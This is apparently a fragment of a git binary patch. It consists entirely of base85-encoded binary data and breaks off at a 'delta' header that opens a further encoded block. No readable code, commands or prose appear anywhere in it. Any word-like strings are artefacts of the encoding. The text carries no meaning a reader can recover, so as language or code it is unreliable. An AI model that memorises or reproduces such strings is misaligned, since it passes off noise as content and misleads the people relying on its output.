z3ss_=roW3g2@@?&!ih~N1=Q&qWQ4#0wTtb<E5wxau=i}i7l3+{xKB65Vc8G9Yyg5#>pj1S} z9K;9>ISzpwpCS1_Q^h$}a9TVOX`r{o^O!53JNf_$2a&GZl)8=2L4GJ$Y1?a`#o6S4 zHOnN=Yt?0TA2;M2;n7W$*Cyf0y0P`EkCgeFCYZ)e{M#LhWO#u;5sl>9=lU8s>I3f} zpQ5tvGwC5wsrtVQCVvw zk(gP>F)7HStX%7oE38O|HFOcYOi#wb9YB@+NJWgLEhbSs$2HjP^~Ro1bgC~#fjxa> z8~$vN64oLFgFU|Pc1UNUnS9LL#A;j<>(f=}&)DnNm-^#egjK@7TnPWdDeyW_T$jng8!&S@Oz*l z^M8|q4~>=t-v_7xNDFS(epm_Dy+lI7l_2ci^LMsx}Z~?m(3U;CV!?vmUQ{4Eyna$9Nya=Z5 z_n>8U_d5tkc0bT#QE;*6ht(!ddR-2KvUXw!3#8K{#n$PkQV*CLc;m5(OkY&#yf^RJ zOo>(wo!UC1nesKWZ)*YbW~+fnP#&73zgE{uD~eb8eKRajTq~y%TrA-aAwZ=&C0q;* zqjZaea|wP|!d9%QOV>$wD#5EH97{Y|5{@K%X0u0j%D|g`OqGOOg2zdC3uPQ0CJK>C zuvy~QVU#G1m2eOx+FrtBd@T)^Fh*aG(f|pcA=q2O3kiOR*D{cACBp;HrRDMmZBCV5 zk#IR>c1FUq*HL;z!o`Houi_{8YYA@=6=)$6jVAn?5wBVU042sD%%z1^d>5J!--BJ0YUfB4e!be@GdBO0c?eC{pC( zdPb>Xv)5*WGqwLn>8$xXbc}HA^@2y(x4>Nssl=A}m^LyR^jNKJEDw!Pf}m%NujUN- zCnr4lQX;kMJ&3c3PxETNlH zjy3RMZ5s%pAPZ_obINGessB^7A=T0Rj#Fz?*AIpNU8HvR7@@1W`a56q)K*F>`^2D{ zub{3>6eYnS;4y?%WpkHGSbX%9uLYi9tf#$8*<%`h2bJCmtWA$Bz4W)=v85;f_S;%o zkn%S~YUvmB+qE(c8IV8+-Nj#OqXdqA|A_ofku)g%Dl02S#!%Tf zq7jZt{6ea@PBvmb!5b+Db>#+vUz4!FJ9qKF+F-)kO1!eysVfCVd~2%vaFTdT>L~mA zEX2p|tiQJ7Fr|lk`oEMwr1lX2Ax|X$NS-ReTN)nW719L-6049|ob$)di)FUrcN}W&K6;J4TU*7!Xd>YL|7gEfT>mB=Sv4x<;}i z?WM22C?b*wmu``X2>9Jv@VZ*?DhZ2nW=U8SAXCB{D4nSi&L?=BghiS|B`o5a1#Fj< zkF7;$UkeVe1qTqU%C6uoVIc(%10L7BycT?=7JQ}_d_=-lDqOz37U64x)s? zgoH~74hrC(w^Lfw^*{veW+Q&Oof27h1O3Qv#Op+1V;~=F+RKelzUoONk>)5nVO%T2 z37#im4}zbTu$VxflyENLhe%k=Z~Y`(O!yuW7CKCngoO$dMzFflI)iG`ND>mM#C0W{ zM(~4%q7YdG-<0qMf`5^4KEbCYESmW+!GG%jYRXV;d|p*g3*jd_C;{ehEuk9o5H|-t z9^$J8oNz6)ntq<>|2>6$)=5lZ`f%;iwyLx@6!Ed`l?dg_Z9J`WNxv+v6pqR#i#(Ruc{%5J}iCZ2cdS*aw0bOB@Gk*QaL6n(;Su&A95S zj+XrI^qJN4_JVHzN6T8Zlxhawe@~!8HT~ND+U2S#fWDf3mq|%uI;1*@WUOI)`q4+ZBa+Y zl5X+-U=SMn_1BAKRQPxpvCt-36{@S~Oh;-;`Tw-{?eS3+cl)#Fgs{26 zh6LDfU9JW}SRiV+D9c5Sa&bk})S@mo4H{vApwUt{T5MCrHYj>h#k$-yK*UH@^0u_^ zYOzf#wZWpM7VToGjY@4))U=}hp6{7w!ji_m?;r1$v!Ffechu^m{wJi6}4e8)LuOJvlv~Gv|(gWQxzm%Wr0)Jj}%kZZ)|JN5f zKIiE(@S>03`#46B`-;)~css_lwj75FTeW9Ae1rH7@n6IqlXZq?5+@TE6K^EmLA;;%V`4q=r-H~|9bmv~#P^8lQ*=gsh=s&r z;ymI~;_bxm5+5ek6ZaFFh;IS0We&gj!+?Jg)7eM)#50MrraJSBtsk5>+^4E!K`A3H zB+ep+iFnK0)ypRO1vd`KAAW-AvpjD6@!1+HS87xZz>P!ldNgj zfdav_Y~An@CDOt!^u*GJ6npZhYBRW;(TYp8cSP$+Uu%QMx-cjS@;^VlfCIn-k_ax< z;L=WdWrrDl8#;l@eJ90w0D z!03ra@QYJ=(lR0NpsxQZgJ&V4CPnc+@b)h)6_*mhr5dcTPj!hzuLlo^5}eT!+@GQ+ zDGsFQ;f3E*eSD&m;>i?6qbGGJm)+-dlJPq5uKIX?ik_r9@b7wk3M9hx$q6V((+qHO z&%>}yjau4GM{W4`sKbmp`R`E+(Ai>eowEoAmq}q;5oDZ1dAt96tBFPw;Zo^pU?#BP zYxKt86k7CV0Y$Iec^X;8#6&BjRECZ!1O^Z;&a|iCW`r9j()O>>>pTY!e~n&trhSgF z=T6rA%zw{V8aIq^ zV?7BlVXD1QwtcO!=PqH9E)-J-#(u<0*^m7XdZ8TKZHqEz<20;$X2{hcSdupbJCEVi zY=-yHdUJrC>nAM`N4V6Z5h$O8NCN+Zz4`cN7|R3f%3vMB#b5#`23vsvpg0Nl{#~#C zRafW(N4et(S!cwm8GK@a4vu_$I=bocukiz&yzz1!zj?97>{5*bj0?tvY-b+jRNLHP64cn1RU%_u>j$vd8Z6w2bv1x+p0=( zf-@P5!7+VK>G{AHf+vCEjGmzCdrHq;KE2L|7g>E5nbo`)@$P{P7!Z9plRkAducKb` z|Dads*Y?8B^b)IYuF0mB!HLs@iwd;%Lg#3z_I3szJUuwn&m54(Uz~bCLa=*40{({s zh#KBs>&*dnb^M4UT&ms(bPq_t|6nhsf&;X{Qs943RCUyA26oOkwT;IN)b(2c{7-tD zUA-|FrT>GX8l($YIB4Hp7h89Da(yTCge`klPq1<)cQ#tGhQXbWAihtudgt)kuL(Do zKKlo!4my+*JRlP>VbBuQH*#lWY!01H0QM>_ z`Q+8)E6Hogcab-c|DY3}Pj2jg%=$D@|Agi-Wdc6wq##pLoH1~&rpgp(shs)2nF4Io zRJAaJENLFNHu9*Z${W=c4!a!7iK#J{2o<2h8J!Zy^_VzQAbH*>&J>9GsSwl41Q2Hm z@GVU{_z>Z;oRu_HP}_;)nzNFZMq6K4wG)l@~9UiP<%t0tFKSX>?X3Qap&d=XmE zT~19C{)HJNm;kr3TxT+1bVmyf>SXX$IUc~70?2AC&UA6WWv40tb-kRoFvEdVFbVM8 zN!OVg4`iRTQ9nfPU8VbUI=P>G8hMcXZ1OO9!5KP#6=lE$RH!DOOCBe`ki3!nT=Hh} zLF8@ZmyxU0x`0LGe)9Yn1A+_~Ngg6EAulB_B#)98lUI{pN?uDogS>%!7I}g^Hj@F( z47iBAm3%UJJNd=rzBRf==a2`;&m#|#Pa!WMpF|$fe2|*MfJ!P%B(D~Zn@>(WYt^taD}+P-}G!&8#=e8a7|M&d>Of zdT3TI5X+Z zGFHdm|ot6Ovn$sH4MKJwc%RfXgnfF0{_rCFwe zRJff9O32O1UP>;fyW+fDrq*eyqKr33hH7%N%$Xxe=OdBLWm45KfjKxgl2@VZZRx#~Uo zPDHu${fISqU~}hS-iUCGIX{nBf0`8jOsA~M)G7B9nV-t-J=ydQg`l-wLnBIGf%*p)HBEbmcrGjl7+%|xjp4={sja&v^PAvZI*mV6lXJqC)&z2uX~edOnp`^l$~2ZT%ihZs;uh3Vu$@|ont^_8F%2)O$&XEp=Ms4$N_N`5JMCAq%#!b^1IS2Dhu+^hmMW7t>o$C?d09by^qIqA9@+!e_Znn@231CPoApXOOp&k0Ng;KhxzHdEPqR0;8$mCm%yzNPZT1hBW#rc|;9M%i$&1Mw$S08}$S0FGlTRT}lAllBMm~*P?bHjpXylo5(LEZy^tp zx025%ZzsQ!+`CJ+z*T8ndHf8xnhJ&F?&Dt+u$cTN#+Q(nlb4d;NnS?o;TcIKc^Y{& zdG{CtY8jA0UPqou-bkKJ-bC&rZz0bkZzazsZzu0V?%l0hAl8ooeg+IA50Z}|50OtH zFC{;pyo`J%c_sNx&6RSPCh8g5O@=Wpo`4sXX zxo5aeAKJs?e+C1>#sGQ57$A=t1BKc^6?q1EjY&@)H~M3=euL2`PsB_D1~i)lL7gCJ z5|FnUeRB1bZUIk`*7uQTkO#;!$%96}SnJ0^Mu7ogqcBw~L`*z+)WnB$e3gkOuQ7a< zj*lB&qIrYib6g%%2@??33eDtc>oiZ2_akp3H|L5ow3;%f=WIyTPCau=(OiU5U3nX% z}k&beOh0c`vB%fK@}5Rz<6^XAdS3+@#cyrPX0Z{oBIUj zK0*WIITlsZHqQT!8w*s}N(0U08_AR8=8~$7{3nc8dvy!$CdU3od8*VvEo z#zJ=n1gK!H(afC-FXMxZ-$ouH{~dXlyq-Kl{u}Zr`TgXvDhB+N0X5_=lE=xPA#Wgm zjXXi#Ox{dBn>7R{GXL8c@Fyy$XLJj^ zMeZa2BYA-QSLEhS$uRODdAnOi63R!f))Wi)8+j%AWZ7(a*H z%TYd-Jj(br#dO@@jI za;OlZ!lmTq?o}aqnDIA~*D(EH@(AM>k$V~6gFMRk7>~NjM}?kLsG`DyeU!8H^zJG5!YfM#c{(4>10E@*w#S$j$x4(c~eCm;S$*0bwTi z4tW(@;5_mO(#Wavl?qmFwkMaxXOo8+zmB|?=>y=Bzlu;{u@JawDh$$8MHwF)#oPf#D4Nx7Ih2a;p!J&)~9nidzypH@f@+NXK;abU0 zGCu7^o&GCwpYVP6ZLz+}7+knwZF%`99Z{%OsI{sbe+*D+-=B6{z0+dmsfxMnYM!dJ za3Cjtt8-um9oxR!7+yC|_qEwh?tMw?oAB&0`k{QFQ+VM^Zun?b+$myHvrZ816khuJ zzK0vEA6QQWe`1-ta`!!^l{?Z9PV?|=^hjbyluW0lU1H>RPL<|!n#ByRKv5Htj zj1wbQYy0)&jT)WLp0y^$k_iEM)VT1i9TXJ(N7$p zF{T0x7)~rCjv)q#MZ{v_RAPuYi&#ROLktra5KD;*UBoPiFd#~-B32V?i4DXAv4z-9 z^dHtOQA{i)RubdH1hG{R`77_MI$@9)CPs)$iBVz|aXYbrm>@P2+lao`STJIQSPi_^ zg90=%poOSj*9i)VrNnBY8BlfP31X7iPV~1p5AU-gnYS!kQn7ONl11g^`%dh$j&zes zyDof0XLNy@r{o;9tP`*4#2Zuibm%ve&r@^M4De)1{7mq6@~c$|{@~tp^NT47xES24 z1Jq1#xvub&n*^aw@ntFTlD;M-UQU`D$xVS;$V~;+TT%ejUjn2Cem6jKxf(A{;ZlQe z3YQvIrf|0aDf|+|H>B{Z!JAUJRIpvRw7(QUN*w(2sV=w(yd;H7mqa@8O7aWUe7DJK zQ@9kkF@;Nok||sYppv|1nS~-q3j`1#gHX5_C`sXBAezF(Kn=N6Kw6-I{9;r`;+x6m zsY_8ryhGQC`;PLOMHJ+AK=DysfG`Y56PJ-+0CR4JDO}y0J*$tGngIe`f{U zYm=Go6uA^@^8z&-nHd*-;E;6{e#d;vB)e~ce~E3v-4h)lA^0X|(HmA@C;GCLmXnn4 z7170=J72c?XS5=j|6NP9xoR7OX-)!~xj_UOR{}Ze9QwVLH(j)4l@KRqQGy|Ov5@L~ zOLbx7^BJ&{w*iH%g3nyrMV z!H40c?5QrbStT5LV^s*ke`;4Mx_Y(FhiI3qW|XV?eM{kW&y7P0oZulVt$!TcxF*Q0 z$lC`jc6ACQi5WPlRjGFFJOqmY{6>cVIEII|sK*AlaV3xw(rS6rM77JYk)kfiM5h{F z8lwtnY7vjuL8ZW}_NG29^^O^K}$xkIC05XMc?)IyYg;N1Rud`+?x z@kyxTZFDnM3ffc51^!{F(@mlw`$;NOxm2sk5A;MrbQB3ooTp#YEia9Ab~S>Gt4)z5 ztO`ktOSKqvE_)SIy%sA@E0QFPMYrCn?Uca)(NUzpyX+m+ zu1>Mm0Qq!_sCI#*GQ~_a8g-7ohFQ`eb-<6l;6->b>dq3s{0IzP5OS?lAg`aOb~W16 zhq_x@5nly$yaEqXZe?pzEHy&zu-3PqXq#+O%T+~dfg5b){m4>yE8bWOfEpKqe9BsZ zXq(7XYhLHh7Su9?MyNpwydp2Pl*u}4K7keUgj;8~ zXT#vel|k0)NI@%9yXx6uXX6`aJztrv8ljC>WTo|BsT+(MJNRw!4nv~Zm7zv$s2I`3 zpP)#ebW|`5YFrd@hq1l|qHQ8mTdUaFg2gQ>g6ITN;6+^1S}iHY+D|to+Fcn-xW+Q7 z5nb{r=8rS|O{>2iY6fUL{WUsSv5G$hAa+F1iV>6S{LU@~Fo`g^9`WMoj8x)QKBd`A zE@{N=0*cMOKnZz;;U54czgR)0r7|a^hutDwZm9x%PbOH~XI%#+xO;%YJ=n#WzZ8B! zca>k1uJR}NqPcz3Ro|kXDr0rGq#d;)V#~h(Q)q@x({rY_@dZ$9{RBj>p?Larppma5;B470@%2Pc)N^@JkjP~wD zE3HRmMekjpxE$PHaMStIm49hZR3z3zdH1Hd-BH7Y+mJAh3msAXP%d~RAugnZdwQm; zo_KA%XOUO+oSzl-WLPR=uNBTMNLK|*Ghr}8rO&rqdyTYLh6;thuhahkDDFq(9%s=} zy!v0z69as{6_f@{BAIbgXYmPq>nmgefumqjhH^dI;TLR|jO98Ti5HhTD#dO=|8&(K zZPoLYtYk*i>vov;3jD05)a@zMTinlzEa$10t=`V&q?H{DB}22hQ|q5{YUW&!=cY~XNU4loGp0h|i#2`mAkUTOhQ>Jb?i zvlJ?#$`OzUtOUw)>-E6iz#8Iapgbh%LL1GK>7_p6blIRWUbosg`WgU{17|_lLY4h#lW>diC+bjZut=q zd8?h|{{X_Int;b;Frj7ug|7x8O5H_XKLB@QAglchco4Tlw!bSH<7;vlZJ_k&M?mT0Zm6F0d2gVMfkL2+iDICPk=Z~QGuHxT46OoU zOvTg&2$JDrK*{h|K*{hmpk(+CP%``!C>f@s-6X>Tpkz1-=+1GVWH<*X8D0mJ3|9js z!@Geph#v-u{r$i^xlP{!K{7Z2lni|62gzUxP%?-BC4+l`lED)|$>0^BWbg%0GAKlU zNd_~4GKj-KsnCr;G?Iz}rG>u(lnOs2@yK622SG~oE1=Z)HJ}ve9iSBGQ=k+m0|P(` zQ~;C$jR8u5rUIov@?8ok&|;tzXf03*^gZ$|ZJtzQAgxR2DZl>-pXyeb?MofKa zjJT&9IXFYeR^I#d8Ame>?T3NjD4p5eKykk$&+Q^zJJU5G-ErzoKU1f>9q1mo(mX0{ zhV$K4>k{`M7`Rd&GLtOyVc^LzT6g$aI&C3P8X!*2gI`#mw`JnIEkk9`chB2Y3GJni z$2lYPCC`6#O6R7ZZ{g?7tqiviQ6w@>G7|6YW~-111P(k~pW8HCp^d%{6!#Ii#EUx< zDCtwram0S=xm4|`{9>-MB&h6^;Wf-Ke5KAX1{AlAT;j#u*hPktK>@!1owitCjU-NG z*pXkWo8MKg4fo%9%nk)dReTEkZ7ns=>X;j;A88}ZxBqMj!I z#4Nrdmw0jabdg0XvTzQ*Z;iP`PM&;M>2dSgM4iG-hJQBB-y|dtSb3qY$WMXdP68!v z^hJ7tU4M}?N%i{Inful9Vk*W`5(#uLY_KIqznZ^ylO~APv`x=TRCpQA}rW@ELf@c^n!f~LsBqY zYq=S(0E&wNrC^U1xl|njO2I^5oIODoY#dNrG5HMg)PhMF{;gouEZ7(pEFYgw4Y{WD zzhV~bz*wE}ka0SE0#FKeC0bIP{PK|$O!UQF02FBz`R(NE$x{m^Wzd(e86#EZe0}}e zz=Am#0>>`V#s|)JZL7ftr7oj-Cb-cb4mi9)wZ_XEW}O5O~Vsz2xa=pWWiH%js_llMn9 z(h6q)MP(v!8nESRZEn{$#h6mh0!24#p*D9eP+DvT`6{3sK<>F#$M3q$wx2K_O1d-ev8RB0wupQZ_x3V+~BKA8z zzr{Q)xj@@p2^4n?=VxyJ?zsHxt9p2PsqRU+gwd;36Von1*~G1686N>k{e@RSSLBy~ z;{F-YWyn~BlMG2Vbde4i4iq;MD1{vbl!OHVuL>;fg(GRM^6kxT%S`G6NgFaZ&I3Vw zGd_wNGJ(J+P=FHP_Ql%P`#^EqmIxpD)mNe*?pdH1=zRM{GI0_gTmEj+R(|KuhgRNs z3-ImSkffsfi8LMLG1GM}r9g2Bgu6!N9?yJzkH_yk{gIXDS_`?>=I!rf?PAPtSugx& zYikz)#g&swytpfY9oBgVDfA6z>{nJF*L<04K30qm^M>36`rlC`D}~rRMVtR8P~7Y1 zYp$kg{tshbZb&UYbwjG`8(3=GyB1kEC&`pcYxm@)2I10OI<->EkskEsjsPjElw9y& zr$XHgWvO!&>-ZGw{Bxk_f5dRn6L&vQq|~KG3UI2c8g=a#;48u*NkMlBxvXGEU{w&e9_W8ao1P66w*)Ar?|sM_`H6LoJL~-soo*BK zr5)nLdSWB-05A<{n}OYcM}XxcP^x)?{QQUYN--ZO@pV8c%xgd?to4XKf1d~Rg0BE( z$feD_5Tum90ZL*136v`Z|7LyV5CjUJ3zYc(0?L)eOXS&)>MM=_P~tZNtEO&6a8jQJ;H@{~xrzo23-aiYm3#Ot4#FYTceykJJ0Hw=*0~FWl{xT8*aEa`w~5(Ig#wJK48?a@S9O6adkis@EKx) zc#zmaJmz8ydq@~?lIWeJ4dfF8#4$i|#lRfk4M6F^hZz1MPSvK%Nbb{_;O-J?LcGJc-?4^(Ie_C|Q-%pEm_lFFw7_kds#4HFNNB=#bWS|35fY zAC#y5MkieY6n6)?#EaVslp>`bjJ=C+-0XSk;Y85Q;^zIGviO8q%=)d)VhvE7LoV^+ z@atOtmPHU*=*KEqc&vg)D|oDuTB}lBtEu>Qb;vcM|E*<~$D4GPd92k~)=J{V-39Di ztI|%js&ccKTi+>*SD8gCP4;E2rm$8LFYfIwvZ!)CJZbeE;gNHWrFde7r)8eZG?j@8 z%H>mP1?zMLOYphvkZVu>yMnoIW(9u<6!#Xn#EVT}F&oOxxPI>~Hz%X7s7d@DTU=Ai$b zk9GO+b{;MP=d7=+zV695p0C4ttQa3954rmK-|{K?bhP9b+S)3hxJ#ecyb>tx zR_M9bJDr}EEH;%n{bW3fa4DTmjXRkr9cZj0K#WPj1rK&Aln0qfmAA8se_)l50!2Uj z8C^Kh6W0SMQtJGd0;JCWT5wG3Uwvium^%v}QV)R{_ad9Pl=-b=evgt%ytr4oXyV!j zhuHdRD&e;9g8iM04?*EdkvMz5F7#NSxNNrg*=+G~(Cey&6DatptBO`PlWRiwa(l=% zqyK%%OisR_Gb#L~4o@@VuT!_RO6%ZbMFT5x@bouZ^)AYCpM}dJ?sGPJ?7YhwI%V-R zv#5DqXYm|R+<$*fxqVAc?*MFwf!VqF_@;cwO{o9f&9*a^C(JjbS1r_jk3}1lDIj7#X zy?Lgf*Pp=k`zLrxb)MzCWZR>BwbMLqOPK?vgI|X#=+P@(^{VixUf8_QYj2h_IL+=e zWvH!kJ zjk&!&>RR~QU@77(Pq!}}Y@#LvJnDBtbmBvTdXzc8Pq&9ywbPuB((QA+((1DOJ0;!i z!d@onH;O&#zu}vwId^rpr#MHu+kIWtgs5hFZT}dfdeJ2w_08EH^*#z9PVZU4UX=yi zaE!o_xR)>L;0Lb?o&DYI0j`k{G@Wv<9dMcSxl`x0i(9?}&_cX{bOn4Nb#8$CWBBPNjeFovcMpdqP4|dL<-(gZBO%X)XPQMSL${DJ z1-W^#N3DXF<`?W7KM!H^884VCd#13Z#H6oB*a`TnSt#dV25#Y_>8(tAXs-f)H^ z-5DsyAx@T{lgza9CFf5w?XmO4nw&w;xyz%jgWtgN{TlL_-@z~>9|?XD_zR{{^`0=d z6QoTJ-R4n$gYOw~ZppF-iT#JN>`MgS&a%&UySELB&eUu>&@uQAZoq_wf0I_d_j%MK zKNRlVk!|-K=FVnp>sg>rGVj4o^y4_M zW!sab2)%Ob$@!k%Ue&t-9w&sov0C_+H#XU zn{yIb9hE$=-J@pj@TdT+E9b==d*YRnG=yRl;2~vBQNGIgC_O4+l@f*zYG!?u7PTW* zup?{`b}rqY)s~UuCKmL!#L2`H=gv&a`7+1uGuc$?jlCX~^AnFcU$TWOI44VuC|YBW z@RZrUwjRms=FEgQ+C3r-BDRA4-SizJV(-t;H}L0AcW&un50wUaxQBh6SGh@TUl!t-KD)OR=4zik$Q@ex%QbI4LvT;QuE-S zn(kbkYY%pw&$at^G?m-4L(w$u0aTx{6yPvbfIC_Rt9vJNbI}2ib0_2^v!aDOsA}rsJ@E4>-6Z2!;EYlJ}WfNR%P&=oxFn}&YURwAt#(W^X$BdvJbX% z)EEzXs*{Vns{qvMv%;)O3vI;Oy0GDczHGTp zEr;7|t!~h1|71sXXFV@7NmVp$7#Xki8Rz_?x7|&)GiOyH!VixM;SG)P#a-Av)HrShs{&b=7hC6^3Y&+p()qHD`~Uyc^dxB(+(G{T zKQ;Zo|EcMHRzG{M$JyWCe#?1bfE{rj9$*)CPo!O5zHC|488XoR+?hAXE^!77vL`qX z4YGeRB4p25xoGK}<%?G@T78@QgAW_*OV?IJ*H+A0ws`FgmshM_zTyVw`-AOA9!Of- z=hj@VUqP)UhQ6tJ4Y7?V16*AA9sNsYn&CaqC0hURn+V4={#iznAwlQ)Gwi1xNO*i1 z?F_2z2=e%yRfYCGiOmTv)h6oxY)q6eq{taR%6{shK6b8?F-B`=R5GsJjS~Z&S{<9T zS~6wb(My$+InKVtSwG3{<@|JNXR~k*L%%q8R46h=tCsq?T5Nn8=h_%Exv5wfFF{Tm>I7nax>DuyfS}dk9t^zo*W9 ziF{+w`@fQ$s!8^cG?@+f$({l;0U~$mOpcTxMz2eFkFOPf0Magj;hxa_-D;Y3M0^rt>57$&xk&hr>Pd<{ohFn%xH^|AIVfS@H zGwhlPzHjOg7bb2piI`U1dD@In>dt*1&9L{_PQ!)vs_w2*Tg(YuWCu46&)v8DB72{e zE2CGOF;V5@4zF?EcQuVKzRAowJ-+xBWC&tHwcD$ zJ9mt*dx`Q0dmP~T5%#$Nq{(-3M%u$5qde09t46v;4~=w_P9LkwFcx~>9_!X;qYiTO zIf!tiIXc!Z^s*6f1v%axEVd`wXI${ZxAnT6_k^h*lZOuhzZ4ckQr_yYV9$g;ilP!Nx~ytcbJ_=^e9$L3+#k1KoZdDpG4y3S z;NNCIhEaL5QTDRV`j_6*DmyLrV?VB-?1DayCq#m`U4*?>F>K0S2VroD&MW}@A>|sN zyu&Gl5R^9+7yeVfv3SuXctr>qlmPF57o93#g0kRI__B7r@Af*}WvE6WBJOrNV|FEC75@D9pVz(Mo0P5^i@=nSC^R?^)PKB4kEdcI=ml`wzdtHtTE&LiW ze*0bBO&LGCuJ*yZI>3Qg1w{@3Z=<{pcwzzif6f>i0^X9kLT4}lID;~Njb42lUJ~QC zmDN*}<;8<9;E!R@$rk;&@CUGmU)~Rp{qzeU3(7mgMd)I|%u>u0RA2z`+;3o?3c`zH z5Srkn27>2at!3F}EU(!%XQJO*&)24dq%#@Uok=ya4znytHBx`0EuqylDmI|Av*?kl@g$mWKnq zt1yL72*DV<^nDfZJ@^yDv9JI~uhvHKEAs05@IE}z$1lsPKT9r*nSZv}p*QYT&y9DJLWWpnvEx8uqN zIwyhO{Fbg+Iq)UQ2Z06abm0QP^Wfcq47?|Xf5DL`HE`j#al(e}7lOm@!qz>^0>KmT z5-zy;dpcb3+-hC>V&E0VywMmhG@Vf-iv_2cGL-Ktc`ySHRaomK~^zevAS_F8eX&f8Jy0zh1T)09*!N0aD`#fX}{Gb7Yvk$rhxM432Jdig5pMeix(~~@3{~W#zkM(6M$(29B z!3G0U_B?EZ4`ADZ?6(;F48~9l8!`eAUV2XVz0zsAuDgKH`9 zD|lIYRg+SWz>6$fi{6DF4jtJ?HR(6dN4V@1`#yXjYAkz$WCPSD=m^RduWINB#^GzB zlm8NC5WK7z>w&LmIi?Onn08P{gn+)^>CrCOcu0?S!JA&eF#@G72mbvvbW;E)5y0DC z*Hdd9Fx;XCqujsry@`_%Y=Q6tN5fY_E&^7-S3zC}eEH27N(zFTI;!w3G%w_!ApB;? zwZIGijMWbE9AF%NKV;m&QKOS+D9A;?YWNn&HNZCbW02c{j~@kxTn|)lqXMYC++e*J z-Um4xgMgDcL^vi)Y@KQ^`e=+4x7x(QwiItw`O6U-V6%rNiRv-aj6MPu5VA)q#av@g$pN3xw`5EAi3Qzq|`*L6nd^y4e zpN5x0JOg|SUi6c|96Tv#8FNv#x36W77 z!MkmbT8|8>ftO(qf*OJo5MWg|k2;2M!F+6e*#ueeS@=TeGy*fad(?h}X9F+oj&FNN z24Rpr@Y3uJz!%{qvnJr1l#{?-UR|Jk;5f>-rJ`n2o&&rY8>{M&fo!n)4Bn57eVN#G z0w01L0p0=cc1oqOWL%bo62nV`;33L~f$Oq$#)2>7UCt61Y6D)1%{Qfx!@&FC zrE6+{4S3XBiSPvQ4D4QrLzV}c8F?O6Ek{dW82)4o8H?~byqspW03XDDo$W|a3;ZX% z7{$*itGnQj;piuinRdWS%i(90)ras>ffK-I`{0Q{XJ>{WWhrNJ?bFj!@%8x zurUjjtOv$k#6PL=ap2a$C>@lx13w;u2jB=l0sL$j5~D!vz}dsK{v6<2Bhb9iPXf~l zJt_cw!SSO!?qRwJxDsCMM}hCb%d9yLy#7pAM*l;2TN8B*_>IvX_XK1i@Bw(YJAl8Z z+ziYdqr>q%Yc(#28Y6=saKJ?LJ!HYX@U@Vi0Zzo;06A|c0`8&Q033fd`rnN>8%+f- znF(%%mnPi~Jize$bI`}|&CuBn%$tO5*pTyqcf$K|Qo0`a3H)%#Ws^|>c(($;q{!$p z!8gv=^062M+#hfw(tyJ$hky@?j11&S|Fe`Ef&D{TKM1@OK8Va3fRm@|%1i~m4}Z82 zO${70L)#exj8Ya%z{g~8iQt*3Yn%o=2VOER2L2kp2pI%sdDL=vIX5f^UUs2J%|iG> z;1A)YX0^aSQa%Fwi1G>G1Xdc$pD`U%*Ru_%HFO zCud`IlNtlxg_nXJ2iDBR^hLPfAK@i~Bfux;VLFOF@R#tSe*k#hr5G#2W44Mw*nF8s zH9|@7AiP{)2p)%*1ns~n^R-+K{L=!A1Lzz9zI+7=2e}1!-j%x9L%?g{#ZCnH2)x+Y z3_PP019b$}17MHXH&9CuAMg&5aRyukJPI#0h+gec>DXT;Em02~at#(A=nn^e7hYPW z8u+top^xzWz;=<5R&c;|S{D2=U@3eXj0)Zg-we4D_#nL4tOcem!M;~iQm}9d`d>~cAgIUTrMc>W zr8i*pf|B56%aIA>1;E)iVwysp1AOu(tmi011MtprEL;d*4{W>{%Pr&t@X8f>!HEFl z@Y1?D?-;ZTb?-2&Y7ZCy~o>+eKUBW)S*ckpeHn}Iid$D<;U%YmW0J!&e_3hw$IS{QOY zF!s}XuyTRy2Uc&;wcHH+%@1+ZL-;}9v>JU73IQi>#MDH15%BZ-_3{2B@T^U`ph4gf z_*Uo$Hb1DlNznU{ZfU`gmSZXmp#r`g395j#@Cvuu;=nENX^=EF8u)Ap z2e!cnA-4l3)#^by75D_@I^dv(F>9a`0B(jahAg=95%j;TfYC>AP}!_Ymkn%v6s-Xz zLH}b|HX#e1122QL7Yd2sOq}Zh-+=c*J`ViZE*OTqANZZ!XfntffVuTLaXv6fSupUV&P?!uryxVW z0hoZVhO8P;S$G-jf=%!-8STvw&VE`OEe0;9d<1Ci)kf2RODHb|UhoqvxiDG+ob)rC z(?OmJ9I_vUf;=3!4_;cg5t#LJZ9f}0{@3U}oCOvA8uR~l5LsB(0e=S{L_{-iX%h}G zkkMgjIjRp%Y3Kz{X=3AZQ}N@BCFa*LvV(@8EaxL=3xF~Gaw<@j9==l= z;c)~Dh@ia1ArXS|&W6Z>@`i@U?wcBvKL^Tt6xq145tO$xL`U!m%7V?51?9B|A7+i9 zysr?G1R}^w1|kc}3kD(!%DVs}3$CFoD0}cFTu}Dki!3O6??o1r9rGd!wo{f(@3J*r z!htb&!?+OHI4(P&MHZCZ&ms#xL|O1D%7U_ESabwsf3V1cpHVKF0Xy(A{i=X_M8-63 z0KVtS9(&)GB5Sgz2-_L+vEsFCO>S-7+P1ZQtJ>z>=G#`dEx4_CTWDL!w#c@!ZP9Js zUA|rZU7=kiyTZFlohdikXH5$1F5Dg5UA#NAyJUBGcj@lP?y}w0yK8pW?vC%S+ug9c zad+$Pw%zT!RlT>~SMRSctPj=~*N5s$oNYJS!@32YEPOKP{N_gNl&^FCexp5V9Bvgx zus)$Q&D&eHC%3n6S3A5rd^`L*0y_$K1a}ngsM%4wBfg_v%%!}Fq=cAkKJDj)I z*m?OixFaYlP~0Ccj2FjC;-&F2=jIjmqtD%JU*(w_$FUj~a05LahzH}LcsL%3N8?rT zns_|k5KqLLkiTy61f32X^&32g~)iEN2(soGMrCBCI$OJYm&mgJVUEo!T8YhbIh zx!fL;1#1m>1S#cmo?2;-&x4fE*#vhL>*jVQ-DnSWwyefe|Cgh9W5VlkGFRC*_K9z) zgVjdZZGz<%*lvY&=h~a?yS(@n7IzoF(_^(Ah(&i)q2=N`8g?XhH1DXcQz4vNAtx30 zqAq^crX=n~$;DFb*7#QG^}_AJ?QQ6VMx?8Hy!!Fv&eol6JKJ}vU3xSGb`_dJx=miT zD~e`M*0Ndakm+8Eiy0?OXg?i?>F%R&TA@ zDp|@9JT(CQ+X5Vf(YneyXZuZdQ2Hw~A_J^pcVaheMR33Zv~Bfcq(-;ZZcA)y-R9d~ zyuE6B^Y#F0o!sGlJotF&<5iD0Jl^_v;EBi+i6>g0@YNO9Me3^S8tYo>)K2eC-%kI| Vz|O**!JWlBLp%2^nrXl7`G48VF^vEK delta 107607 zcmeFad0f=h_dhJ&ZrE63Ji*hJBka43nPQRMhC?O_XWdDEsGRPa~Tyd##d9+ 